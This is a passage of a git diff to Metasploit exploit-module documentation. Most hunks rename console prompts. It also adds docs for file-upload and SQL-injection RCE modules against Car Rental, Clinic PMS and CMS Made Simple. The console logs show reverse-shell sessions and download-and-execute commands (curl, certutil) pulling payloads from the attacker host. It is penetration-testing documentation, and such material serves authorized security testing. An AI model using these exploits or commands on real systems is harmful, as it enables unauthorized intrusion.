-msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/atutor_upload_traversal.md b/documentation/modules/exploit/multi/http/atutor_upload_traversal.md index 1792a63dd126e..571b1585fd4c6 100644 --- a/documentation/modules/exploit/multi/http/atutor_upload_traversal.md +++ b/documentation/modules/exploit/multi/http/atutor_upload_traversal.md @@ -74,7 +74,7 @@ if exploitation via the `Import New Language` function succeeded. The default va ## Scenarios ### ATutor 2.2.4 running on Windows 10 (XAMPP) ``` -msf5 exploit(multi/http/atutor_upload_traversal) > show options +msf exploit(multi/http/atutor_upload_traversal) > show options Module options (exploit/multi/http/atutor_upload_traversal): @@ -111,7 +111,7 @@ Exploit target: 0 Auto -msf5 exploit(multi/http/atutor_upload_traversal) > run +msf exploit(multi/http/atutor_upload_traversal) > run [*] Started reverse TCP handler on 192.168.1.28:4444 [+] Successfully authenticated as user 'root'. We have admin privileges! diff --git a/documentation/modules/exploit/multi/http/avideo_wwbnindex_unauth_rce.md b/documentation/modules/exploit/multi/http/avideo_wwbnindex_unauth_rce.md index ec10f2770bec0..fb14bd1a11ae9 100644 --- a/documentation/modules/exploit/multi/http/avideo_wwbnindex_unauth_rce.md +++ b/documentation/modules/exploit/multi/http/avideo_wwbnindex_unauth_rce.md @@ -39,7 +39,7 @@ No options **Example**: ``` -msf6 > search avideo +msf > search avideo Matching Modules ================ @@ -56,10 +56,10 @@ Matching Modules Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/avideo_wwbnindex_unauth_rce After interacting with a module you can manually set a TARGET with set TARGET 'Windows In-Memory' -msf6 > use 3 +msf > use 3 [*] Additionally setting TARGET => Unix In-Memory [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > options +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > options Module options (exploit/multi/http/avideo_wwbnindex_unauth_rce): @@ -97,15 +97,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set rhosts 192.168.100.20 +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > set rhosts 192.168.100.20 rhosts => 192.168.100.20 -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lhost eth0 +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lhost eth0 lhost => 192.168.100.10 -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lport 1337 +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lport 1337 lport => 1337 -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set fetch_srvport 5000 +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > set fetch_srvport 5000 fetch_srvport => 5000 -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.100.10:1337 [*] Running automatic check ("set AutoCheck false" to disable) @@ -123,10 +123,10 @@ meterpreter > exit [*] Shutting down session: 1 [*] 192.168.100.20 - Meterpreter session 1 closed. Reason: Died -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > use 2 +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > use 2 [*] Additionally setting TARGET => PHP In-Memory [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit +msf exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.100.10:1337 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/baldr_upload_exec.md b/documentation/modules/exploit/multi/http/baldr_upload_exec.md index ade572b71f2e4..f2e8ff0ccad99 100644 --- a/documentation/modules/exploit/multi/http/baldr_upload_exec.md +++ b/documentation/modules/exploit/multi/http/baldr_upload_exec.md @@ -31,10 +31,10 @@ The URI where the Baldr panel/gateway is located on the target web server. ## Scenarios ``` -msf5 > use exploit/multi/http/baldr_upload_exec -msf5 exploit(exploit/multi/http/baldr_upload_exec) > set rhost 192.168.1.27 +msf > use exploit/multi/http/baldr_upload_exec +msf exploit(exploit/multi/http/baldr_upload_exec) > set rhost 192.168.1.27 rhost => 192.168.1.27 -msf5 exploit(multi/http/baldr_upload_exec) > run +msf exploit(multi/http/baldr_upload_exec) > run [*] Baldr Version: <= v2.0 [+] Payload uploaded to /logs/FJETBHLL/.vatw.php diff --git a/documentation/modules/exploit/multi/http/bitbucket_env_var_rce.md b/documentation/modules/exploit/multi/http/bitbucket_env_var_rce.md index b84439788e562..d2b06c832484f 100644 --- a/documentation/modules/exploit/multi/http/bitbucket_env_var_rce.md +++ b/documentation/modules/exploit/multi/http/bitbucket_env_var_rce.md @@ -89,17 +89,17 @@ Password to authenticate with ### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, CMD Target ``` -msf6 > use exploit/multi/http/bitbucket_env_var_rce +msf > use exploit/multi/http/bitbucket_env_var_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149 +msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149 rhost => 192.168.140.149 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 +msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set username test +msf exploit(multi/http/bitbucket_env_var_rce) > set username test username => test -msf6 exploit(multi/http/bitbucket_env_var_rce) > set password password +msf exploit(multi/http/bitbucket_env_var_rce) > set password password password => password -msf6 exploit(multi/http/bitbucket_env_var_rce) > run +msf exploit(multi/http/bitbucket_env_var_rce) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -124,7 +124,7 @@ uid=1001(atlbitbucket) gid=1001(atlbitbucket) groups=1001(atlbitbucket) ### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, Linux Dropper ``` -msf6 exploit(multi/http/bitbucket_env_var_rce) > show targets +msf exploit(multi/http/bitbucket_env_var_rce) > show targets Exploit targets: ================= @@ -136,9 +136,9 @@ Exploit targets: 2 Windows Dropper -msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/http/bitbucket_env_var_rce) > run +msf exploit(multi/http/bitbucket_env_var_rce) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -169,23 +169,23 @@ Server username: atlbitbucket ### Windows 10, x64 - Bitbucket `v7.18.1`, Windows Dropper ``` -msf6 > use exploit/multi/http/bitbucket_env_var_rce +msf > use exploit/multi/http/bitbucket_env_var_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171 +msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171 rhost => 192.168.140.171 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 +msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set username admin +msf exploit(multi/http/bitbucket_env_var_rce) > set username admin username => admin -msf6 exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword +msf exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword password => P@ssword -msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 2 +msf exploit(multi/http/bitbucket_env_var_rce) > set target 2 target => 2 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp +msf exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/bitbucket_env_var_rce) > set verbose true +msf exploit(multi/http/bitbucket_env_var_rce) > set verbose true verbose => true -msf6 exploit(multi/http/bitbucket_env_var_rce) > run +msf exploit(multi/http/bitbucket_env_var_rce) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -228,21 +228,21 @@ Meterpreter : x86/windows ### Ubuntu 22.04 x64 - Bitbucket `v8.4.0` with mesh.enabled set to false, Linux Dropper ``` -msf6 > use exploit/multi/http/bitbucket_env_var_rce +msf > use exploit/multi/http/bitbucket_env_var_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 1 +msf exploit(multi/http/bitbucket_env_var_rce) > set target 1 target => 1 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149 +msf exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149 rhost => 192.168.140.149 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 +msf exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(multi/http/bitbucket_env_var_rce) > set username administrator +msf exploit(multi/http/bitbucket_env_var_rce) > set username administrator username => administrator -msf6 exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword +msf exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword password => S3cureP@ssword -msf6 exploit(multi/http/bitbucket_env_var_rce) > run +msf exploit(multi/http/bitbucket_env_var_rce) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/cacti_package_import_rce.md b/documentation/modules/exploit/multi/http/cacti_package_import_rce.md index 35cbd15cf2c30..8bc65beb07324 100644 --- a/documentation/modules/exploit/multi/http/cacti_package_import_rce.md +++ b/documentation/modules/exploit/multi/http/cacti_package_import_rce.md @@ -157,7 +157,7 @@ The password to login with (default `admin`) ### Cacti version 1.2.26 on Docker installation - Target 0 (PHP) ``` -msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 [*] Started reverse TCP handler on 192.168.101.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -183,7 +183,7 @@ Meterpreter : php/linux - Target 1 (Linux Command) ``` -msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080 lhost=192.168.101.1 username=msfuser password=12345678 [*] Command to run on remote host: curl -so ./AynGghlaARy http://192.168.101.1:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x ./AynGghlaARy; ./AynGghlaARy & [*] Fetch handler listening on 192.168.101.1:8080 @@ -220,7 +220,7 @@ Meterpreter : x64/linux ### Cacti version 1.2.26 on Windows Server 2019 - Target 0 (PHP) ``` -msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 [*] Started reverse TCP handler on 192.168.101.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -246,7 +246,7 @@ Meterpreter : php/windows - Target 2 (Windows Command) ``` -msf6 exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_package_import_rce) > exploit verbose=true rhosts=192.168.101.124 lhost=192.168.101.1 username=msfuser password=12345678 [*] Command to run on remote host: certutil -urlcache -f http://192.168.101.1:8080/Qy-qOX10kZIXJGk3Q336Lg %TEMP%\cpOhjtfIddh.exe & start /B %TEMP%\cpOhjtfIddh.exe [*] Fetch handler listening on 192.168.101.1:8080 diff --git a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md index dddb600320c78..ea0962033dee3 100644 --- a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md +++ b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md @@ -157,11 +157,11 @@ The base URI of Cacti (default `/cacti`). ### Cacti version 1.2.25 on Docker installation ``` -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0 +msf exploit(multi/http/cacti_pollers_sqli_rce) > set target 0 target => 0 -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678 [*] Started reverse TCP handler on 192.168.144.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -200,11 +200,11 @@ Meterpreter : x64/linux ### Cacti version 1.2.24 on Windows 11 ``` -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1 +msf exploit(multi/http/cacti_pollers_sqli_rce) > set target 1 target => 1 -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678 +msf exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678 [*] Started reverse TCP handler on 192.168.144.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/carrental_fileupload_rce.md b/documentation/modules/exploit/multi/http/carrental_fileupload_rce.md new file mode 100644 index 0000000000000..7958f17184313 --- /dev/null +++ b/documentation/modules/exploit/multi/http/carrental_fileupload_rce.md @@ -0,0 +1,123 @@ +## Vulnerable Application + +The **Online Car Rental System 1.0** is vulnerable to **Authenticated Remote Code Execution (RCE)** due to an insecure file upload mechanism. Specifically, the `changeimage1.php` endpoint in the admin panel does not validate uploaded file types, allowing authenticated users to upload arbitrary PHP scripts. These scripts can be accessed and executed via a predictable file path, leading to full remote code execution. + +You can download the vulnerable software from the following link: +🔗 [Online Car Rental System 1.0 - Source Code](https://code-projects.org/online-car-rental-using-php-source-code/) + +This module exploits the vulnerability by authenticating to the admin panel, uploading a malicious PHP payload +using the vulnerable endpoint, and executing it to gain remote access. + +- **CVE**: [CVE-2024-57487](https://nvd.nist.gov/vuln/detail/CVE-2024-57487) +- **Author**: Aaryan Golatkar +- **Disclosure Date**: 13/01/2025 + +--- + +## Verification Steps + +### Vulnerable Application Installation Setup + +#### For Windows: +1. Start Apache and MySQL via the **XAMPP Control Panel**. +2. Extract the Online Car Rental System 1.0 source code. +3. Place the extracted folder inside `htdocs` (e.g., `C:\xampp\htdocs\carrental`). +4. Navigate to `http://localhost/phpmyadmin` in your browser. +5. Create a database (e.g., `carrental_db`), and import the SQL dump (`carrental.sql`) provided in the `database` directory. +6. Visit `http://localhost/carrental/` to verify installation. + +#### For Linux: +1. Start services: `sudo systemctl start apache2 && sudo systemctl start mysql` +2. Install PHPMyAdmin: `sudo apt install phpmyadmin -y` +3. Edit `/etc/apache2/apache2.conf` and append: + ``` + Include /etc/phpmyadmin/apache.conf + ``` +4. Extract the project into `/var/www/html/` +5. Follow the same steps as Windows from here onward. + +--- + +## Exploit Module Usage + +### Start msfconsole and load the exploit: + +```bash +msfconsole +use exploit/multi/http/carrental_fileupload_rce +``` + +### Set the required options: + +```bash +set rhosts +set rport +set targeturi /carrental +set username # Default: admin +set password # Default: Test@12345 +set lhost +set lport +``` + +--- + +## Checking Target Vulnerability + +```bash +check +``` + +If vulnerable, you will see: + +``` +[+] The target appears to be the Online Car Rental System. +``` + +--- + +## Launching the Exploit + +```bash +exploit +``` + +If successful, you will receive a Meterpreter shell. + +--- + +## Scenarios + +```bash +msf exploit(multi/http/carrental_fileupload_rce) > check +[*] Checking if target is vulnerable... +[+] 192.168.1.103:80 - The target appears to be the Online Car Rental System. + +msf exploit(multi/http/carrental_fileupload_rce) > exploit +[*] Started reverse TCP handler on 192.168.1.104:4444 +[*] Uploading PHP Meterpreter payload as WxAqV7.php... +[+] Payload uploaded successfully! +[*] Executing the uploaded shell at /carrental/admin/img/vehicleimages/WxAqV7.php... +[*] Sending stage (40004 bytes) to 192.168.1.103 +[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) + +meterpreter > sysinfo +Computer : DESKTOP-1234 +OS : Windows NT 10.0 build 19045 (Windows 10) +Meterpreter : php/windows +``` + +--- + +## Options + +| Option | Required | Description | +|--------------|----------|-------------------------------------------------------| +| `TARGETURI` | Yes | The base path to the Car Rental System (e.g., `/carrental`) | +| `USERNAME` | Yes | Admin username (default: `admin`) | +| `PASSWORD` | Yes | Admin password (default: `Test@12345`) | +| `RHOSTS` | Yes | The target IP address | +| `RPORT` | Yes | The target web server port (default: 80) | +| `LHOST` | Yes | The local host to receive the reverse shell | +| `LPORT` | Yes | The local port to receive the reverse shell | + +--- diff --git a/documentation/modules/exploit/multi/http/churchinfo_upload_exec.md b/documentation/modules/exploit/multi/http/churchinfo_upload_exec.md index 9b918237be24e..4529d29b876e0 100644 --- a/documentation/modules/exploit/multi/http/churchinfo_upload_exec.md +++ b/documentation/modules/exploit/multi/http/churchinfo_upload_exec.md @@ -89,15 +89,15 @@ This will enable additional information and details about the exploit as it is l ### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image) ``` -msf6 > use exploit/multi/http/churchinfo_upload_exec +msf > use exploit/multi/http/churchinfo_upload_exec [*] No payload configured, defaulting to php/meterpreter/reverse_tcp -msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1 +msf exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090 +msf exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090 RPORT => 9090 -msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123 +msf exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123 PASSWORD => testing123 -msf6 exploit(multi/http/churchinfo_upload_exec) > show options +msf exploit(multi/http/churchinfo_upload_exec) > show options Module options (exploit/multi/http/churchinfo_upload_exec): @@ -133,9 +133,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0 +msf exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0 LHOST => docker0 -msf6 exploit(multi/http/churchinfo_upload_exec) > run +msf exploit(multi/http/churchinfo_upload_exec) > run [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md index b03ed6596405b..bb16cf0b70c54 100644 --- a/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md +++ b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md @@ -33,17 +33,17 @@ If testing the default Windows payloads, you should disable Defender. ### Java ``` -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 RHOSTS => 192.168.86.50 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 LHOST => 192.168.86.42 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0 target => 1 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options +msf exploit(multi/http/cleo_rce_cve_2024_55956) > show options Module options (exploit/multi/http/cleo_rce_cve_2024_55956): @@ -74,9 +74,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +msf exploit(multi/http/cleo_rce_cve_2024_55956) > check [*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +msf exploit(multi/http/cleo_rce_cve_2024_55956) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) @@ -101,17 +101,17 @@ meterpreter > ### Windows Command ``` -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 RHOSTS => 192.168.86.50 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 LHOST => 192.168.86.42 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1 +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1 target => 1 -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp +msf exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp payload => cmd/windows/http/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options +msf exploit(multi/http/cleo_rce_cve_2024_55956) > show options Module options (exploit/multi/http/cleo_rce_cve_2024_55956): @@ -152,9 +152,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +msf exploit(multi/http/cleo_rce_cve_2024_55956) > check [*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) -msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +msf exploit(multi/http/cleo_rce_cve_2024_55956) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) diff --git a/documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md b/documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md new file mode 100644 index 0000000000000..4d02abb6f20b7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md @@ -0,0 +1,68 @@ +## Vulnerable Application +Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability +(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution. + +## Verification Steps + +### Vulnerable Application Installation Setup +1. Install Clinic's Patient Management System on your web server. + - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code) + +2. Start `msfconsole` and load the exploit module: +```bash + msfconsole + use exploit/multi/http/clinic_pms_sqli_to_rce +``` + +3. Set the required options: +```bash + set rport + set rhost + set targeturi /pms +``` + +4. Check if the target is vulnerable: +```bash + check +``` + + If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit: +``` + [+] The target is vulnerable. +``` + +5. Set up the listener for the exploit: +```bash + set lport + set lhost +``` + +6. Launch the exploit: +```bash + exploit +``` + +7. If successful, you will receive a PHP Meterpreter shell. + +## Options +- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). + +## Scenarios + +```bash +msf exploit(multi/http/clinic_pms_sqli_to_rce) > exploit +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Logged using SQL injection.. +[*] Malicious file uploaded.. +[*] Logged out.. +[*] Logged using SQL injection.. +[*] Sending stage (40004 bytes) to 192.168.168.146 +[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200 + +meterpreter > sysinfo +Computer : ubuntu +OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64 +Meterpreter : php/linux + +``` + diff --git a/documentation/modules/exploit/multi/http/cmsms_file_manager_auth_rce.md b/documentation/modules/exploit/multi/http/cmsms_file_manager_auth_rce.md new file mode 100644 index 0000000000000..35c4e9875beb7 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cmsms_file_manager_auth_rce.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files +with the `.phar` or `.phtml` extensions, enabling execution of PHP code +leading to RCE. The file can be executed by accessing its URL in the +`/uploads/` directory. + +## Installation + +### Kali Linux 2024.3 + +Install PHP dependencies: +``` +sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget +``` + +Start mariadb and apache: +``` +sudo systemctl start apache2 +sudo systemctl start mariadb +``` + +Connect to the database: +``` +sudo mysql -u root -p +``` + +Create a database user `msfuser` and a database named `cmsms`: +``` +CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass'; +CREATE DATABASE cmsms; +GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost'; +FLUSH PRIVILEGES; +EXIT; +``` + +Download CMSMadeSimple, extract it and move it to `/var/www/html`: +``` +wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip +unzip cmsms-2.2.21-install.zip +sudo mv cmsms-2.2.21-install.php /var/www/html +rm /var/www/html/index.html +``` + +Set the necessary permissions: +``` +sudo chmod 755 -R /var/www/html/ +sudo chown www-data:www-data -R /var/www/html/ +``` + +The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`, +navigate there in a browser to complete the setup wizard. +On the tests page, `Testing if we can change INI settings` warning can be ignored. +It will ask you for the database credentials created above, input them and enter `cmsms` for database name. + +Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel. + +## Verification Steps + +1. Install CMSMadeSimple +2. Start msfconsole +3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce` +4. Do: `set RHOST [IP]` +5. Do: `set username [username]` +6. Do: `set password [password]` +7. Do: `run` +8. You should get a shell. + +## Options + +### USERNAME +The username for the CMSMS admin panel. Default is empty string + +### PASSWORD +The password for the CMSMS admin panel. Default is empty string + +## Scenarios + +### CMSMadeSimple v2.2.21 on Kali Linux 2024.3 + +``` +msf > use exploit/multi/http/cmsms_file_manager_auth_rce +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +msf exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1 +RHOST => 127.0.0.1 +msf exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin +username => admin +msf exploit(multi/http/cmsms_file_manager_auth_rce) > set password password +password => password +msf exploit(multi/http/cmsms_file_manager_auth_rce) > run +[*] Started reverse TCP handler on 192.168.232.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Sending stage (40004 bytes) to 192.168.232.128 +[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : kali +OS : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 +Meterpreter : php/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/cmsms_object_injection_rce.md b/documentation/modules/exploit/multi/http/cmsms_object_injection_rce.md index 